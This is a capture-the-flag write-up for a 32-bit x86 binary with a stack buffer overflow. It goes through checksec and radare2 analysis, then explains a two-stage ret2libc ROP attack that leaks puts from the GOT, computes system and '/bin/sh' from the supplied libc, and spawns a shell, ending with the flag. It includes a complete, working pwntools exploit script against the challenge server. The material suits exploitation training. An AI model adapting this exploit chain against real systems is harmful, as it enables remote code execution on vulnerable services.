ROP on 32 bit x86 binary.

Information

  • category : pwn
  • points : 845

Description

dRop the Beat DJ!!

nc prob.vulnerable.kr 20002

File : drop_the_beat_easy, libc.so.6

Writeup

Let’s analyze the security protections of the binary (drop_the_beat_easy).

$ checksec --file drop_the_beat_easy 
	Arch:     i386-32-little
	RELRO:    Partial RELRO
	Stack:    No canary found
	NX:       NX enabled
	PIE:      No PIE (0x8048000)

NX enabled and the binary is compiled for 32 bit intel. We need to “rop” :D.

But first, reversing.

$ r2 -d drop_the_beat_easy
[0xf7f55120]> aaa
[0xf7f55120]> afl
0x08048440    1 33           entry0
0x08048400    1 6            sym.imp.__libc_start_main
0x08048480    4 43           sym.deregister_tm_clones
0x080484b0    4 53           sym.register_tm_clones
0x080484f0    3 30           entry.fini0
0x08048510    4 43   -> 40   entry.init0
0x080486e0    1 2            sym.__libc_csu_fini
0x08048470    1 4            sym.__x86.get_pc_thunk.bx
0x080486e4    1 20           sym._fini
0x08048680    4 93           sym.__libc_csu_init
0x0804853b    4 313          main
0x08048410    1 6            sym.imp.setvbuf
0x080483e0    1 6            sym.imp.puts
0x08048420    1 6            sym.imp.__isoc99_scanf
0x080483d0    1 6            sym.imp.read
0x080483f0    1 6            sym.imp.exit
0x08048398    3 35           sym._init
[0xf7f55120]> s main
[0x0804853b]> pdg

// WARNING: Globals starting with '_' overlap smaller symbols at the same address

undefined4 main(void)
{
    undefined4 uVar1;
    int32_t var_68h;
    int32_t var_64h;
    
    sym.imp.setvbuf(_reloc.stdout_68, 0, 2, 0);
    sym.imp.setvbuf(_section..bss, 0, 2, 0);
	sym.imp.puts("[..] STUFF [..]")
	sym.imp.puts(0x80489f3);
    sym.imp.puts("dROP The beat(easy version)");
    sym.imp.puts(0x80489f3);
    sym.imp.puts("1) Give Him a Beat!");
    sym.imp.puts("2) No Beat For You..!");
    sym.imp.__isoc99_scanf(0x8048a3a, &var_68h);
    if (var_68h == 1) {
        sym.imp.puts("Give Me a Beat!!");
        sym.imp.read(0, &var_64h, 300);
        sym.imp.puts(&var_64h);
        sym.imp.puts("Wow... That\'s AWESOME!");
        uVar1 = 0;
    } else {
        sym.imp.puts(":( Sorry, You Can\'t be with us...");
        uVar1 = sym.imp.exit(1);
    }
    return uVar1;
[0x0804853b]> pdf
/ (fcn) main 313
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_68h @ ebp-0x68
|           ; var int32_t var_64h @ ebp-0x64
|           ; DATA XREF from entry0 @ 0x8048457
|           0x0804853b      55             push ebp
|           0x0804853c      89e5           mov ebp, esp
|           0x0804853e      83ec68         sub esp, 0x68
|           0x08048541      a144a00408     mov eax, dword [obj.stdout] ; obj.stdout__GLIBC_2.0
|                                                                      ; [0x804a044:4]=0                                                                                      
|           0x08048546      6a00           push 0
|           0x08048548      6a02           push 2                      ; 2
|           0x0804854a      6a00           push 0
|           0x0804854c      50             push eax
|           0x0804854d      e8befeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x08048552      83c410         add esp, 0x10
|           0x08048555      a140a00408     mov eax, dword [obj.stdin]  ; obj.stdin__GLIBC_2.0
|                                                                      ; [0x804a040:4]=0                                                                                      
|           0x0804855a      6a00           push 0
|           0x0804855c      6a02           push 2                      ; 2
|           0x0804855e      6a00           push 0
|           0x08048560      50             push eax
|           0x08048561      e8aafeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x08048566      83c410         add esp, 0x10
|           0x080485bc      e81ffeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485ce      83c404         add esp, 4
|           0x080485d1      68f4890408     push str.dROP_The_beat_easy_version ; 0x80489f4 ; "dROP The beat(easy version)"
|           0x080485d6      e805feffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485db      83c404         add esp, 4
|           0x080485de      68f3890408     push 0x80489f3
|           0x080485e3      e8f8fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485e8      83c404         add esp, 4
|           0x080485eb      68108a0408     push str.1__Give_Him_a_Beat ; 0x8048a10 ; "1) Give Him a Beat!"
|           0x080485f0      e8ebfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485f5      83c404         add esp, 4
|           0x080485f8      68248a0408     push str.2__No_Beat_For_You.. ; 0x8048a24 ; "2) No Beat For You..!"
|           0x080485fd      e8defdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048602      83c404         add esp, 4
|           0x08048605      8d4598         lea eax, [var_68h]
|           0x08048608      50             push eax
|           0x08048609      683a8a0408     push 0x8048a3a
|           0x0804860e      e80dfeffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x08048613      83c408         add esp, 8
|           0x08048616      8b4598         mov eax, dword [var_68h]
|           0x08048619      83f801         cmp eax, 1                  ; 1
|       ,=< 0x0804861c      7540           jne 0x804865e
|       |   0x0804861e      683d8a0408     push str.Give_Me_a_Beat     ; 0x8048a3d ; "Give Me a Beat!!"
|       |   0x08048623      e8b8fdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048628      83c404         add esp, 4
|       |   0x0804862b      682c010000     push 0x12c                  ; 300
|       |   0x08048630      8d459c         lea eax, [var_64h]
|       |   0x08048633      50             push eax
|       |   0x08048634      6a00           push 0
|       |   0x08048636      e895fdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|       |   0x0804863b      83c40c         add esp, 0xc
|       |   0x0804863e      8d459c         lea eax, [var_64h]
|       |   0x08048641      50             push eax
|       |   0x08048642      e899fdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048647      83c404         add esp, 4
|       |   0x0804864a      684e8a0408     push str.Wow..._That_s_AWESOME ; 0x8048a4e ; "Wow... That's AWESOME!"
|       |   0x0804864f      e88cfdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048654      83c404         add esp, 4
|       |   0x08048657      b800000000     mov eax, 0
|      ,==< 0x0804865c      eb14           jmp 0x8048672
|      |`-> 0x0804865e      68688a0408     push str.:__Sorry__You_Can_t_be_with_us... ; 0x8048a68 ; ":( Sorry, You Can't be with us..."
|      |    0x08048663      e878fdffff     call sym.imp.puts           ; int puts(const char *s)
|      |    0x08048668      83c404         add esp, 4
|      |    0x0804866b      6a01           push 1                      ; 1
|      |    0x0804866d      e87efdffff     call sym.imp.exit           ; void exit(int status)
|      |    ; CODE XREF from main @ 0x804865c
|      `--> 0x08048672      c9             leave
\           0x08048673      c3             ret

Ok, we have the usual buffer which is 100 bytes long –> [ebp-0x64], and the program issues a read of 300 bytes, so classic stack-based buffer overflow. To overwrite the return address we just need to insert 100(buffer) + 4(ebp) bytes.

Problem

We need to know the address of system in order to call system('/bin/sh').

How can we do it?

Because the puts function is executed more than one time, in the GOT section there will be its effective address. We can print that value using puts@plt.

After that?

Well main is just a function, we can execute it multiple times. The second time that the main will run, we will know the address of puts in memory, using that address we can compute the address of system and /bin/sh.

Tell me how.

We have the libc.so.6 used by the binary. If we substract from the address of puts the symbol puts in the libc, we know where the libc base is in memory. From there, we can add to the libc base address the symbol of system in the libc to find the effective address of system.

Exploit

#!/usr/bin/env python3

from pwn import process, remote, context, ELF, p32, u32, log

class Attack:

    def __init__(self, conn, debug):
        if conn == 'local':
            self.conn = process('./drop_the_beat_easy')
        else:
            self.conn = remote('prob.vulnerable.kr', 20002)
        if debug == True:
            context.log_level = 'debug'
        self.drop = ELF('./drop_the_beat_easy', False)
        self.libc = ELF('./libc.so.6', False)

    def first_stage(self):
        puts_plt = p32(self.drop.plt['puts'])
        puts_got = p32(self.drop.got['puts'])
        main = p32(self.drop.sym['main'])
        payload = b'a' * 104 + puts_plt + main + puts_got
        self.conn.recvuntil(b'You..!')
        self.conn.sendline(b'1')
        self.conn.recvuntil(b'!!')
        self.conn.sendline(payload)
        self.conn.recvuntil('AWESOME!\n')
        return u32(self.conn.recv(4))

    def second_stage(self, puts):
        libc_base = puts - self.libc.sym['puts']
        system = p32(libc_base + self.libc.sym['system'])
        sh = p32(libc_base + next(self.libc.search(b'/bin/sh')))
        log.info("puts :      " + str(hex(puts)[2:]))
        log.info("libc base : " + str(hex(libc_base)[2:]))
        log.info("system :    " + system[::-1].hex())
        log.info("/bin/sh :   " + sh[::-1].hex())
        self.conn.recvuntil(b'You..!')
        self.conn.sendline(b'1')
        self.conn.recvuntil(b'!!')
        payload = b'a' * 104 + system + b'BBBB' + sh
        self.conn.sendline(payload)
        self.conn.interactive()

def main():
    attack = Attack('remote', False)
    puts = attack.first_stage()
    attack.second_stage(puts)

if __name__ == '__main__':
    main()

Launch the exploit

Flag

KorNewbie{R0PR0PR@P~@!#GrE4T_3EaT_!ROPROPROP*@(#}